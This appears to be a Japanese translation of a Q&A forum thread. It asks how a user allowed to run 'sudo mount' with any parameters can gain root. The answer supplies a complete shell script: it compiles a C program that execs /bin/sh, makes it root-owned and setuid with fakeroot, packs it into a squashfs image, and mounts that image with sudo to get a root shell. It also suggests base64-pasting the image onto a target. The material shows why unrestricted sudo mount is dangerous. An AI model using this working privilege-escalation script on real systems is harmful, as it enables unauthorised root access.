特権の昇格のためにmountコマンドを使用しようとしましたが、外部デバイスにアクセスせずにrootが所有するsuidファイルを生成することができるかどうか疑問に思いました。つまり、次の方法を見つけようとします。
suidビットを設定できるように、mount /bin/bashを他のファイルにバインドします(マウント解除後も何らかの方法で保持できます)。または suid ユーザーの /bin/bash コピーを root が所有するファイルにバインドマウントします。
suidビットを設定できるように、squashfs、.iso、またはルートが通常所有するファイル(ubuntu .isoイメージのfilesystem.squashfsなど)を含む他の既存のファイルシステムをマウントします。
設定は次のとおりです。
- すべてのパラメータを使用してsudoマウントを許可する
- 他のデバイスからコンピュータにルートsuidファイルをインポートできません。
バインドマウント/etc/group、/etc/sudoersなどを介して簡単にルートを取得できることを知っていますが、利用可能な他の方法、特にアクセスせずにルートsuidファイルを生成する方法があるかどうかを知りたいです。外部マシン(または仮想マシン)。
答え1
すべてのパラメーターを使用してsudo mountを実行できるように指定しました。この場合、あなたの質問を誤解しない限り、rootアクセス権を取得するのは非常に簡単です。 setuid-rootバイナリを含むディスクイメージを作成して使用しますsudo mount -o loop
。結局、誰でもディスクイメージを作成できます。バイトだけで済みます。
これを実証するために、以下は非常に簡単なシェルスクリプトです。
#!/bin/sh
# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
execl("/bin/sh", "sh", NULL);
return 1;
}
EOF
# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc
# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint
一度実行すると、単に実行してルートシェルを取得できますmountpoint/runsh
。
fakeroot
必要なツールがない場合はmksquashfs
、簡単にインストールしてください。ソースコードは無料です。これを行うことができない場合は、事前に別の場所に画像を作成してそのシステムにコピーすることができます。最悪の場合は、画像をBase 64でエンコードしてコマンドラインに貼り付けることもできます。私のシステムでは、上記のスクリプトは2600バイトのみ圧縮された画像を生成します(それがまさにこの数字でなければならないというのは、本当に興味深い偶然の一致です!)、確かです少し小さくするには少し努力するだけです。以前(主に1980年代)は、人々がプログラミング雑誌からコピーできるよりも大きなデータの集まりを手動で入力することに慣れていました。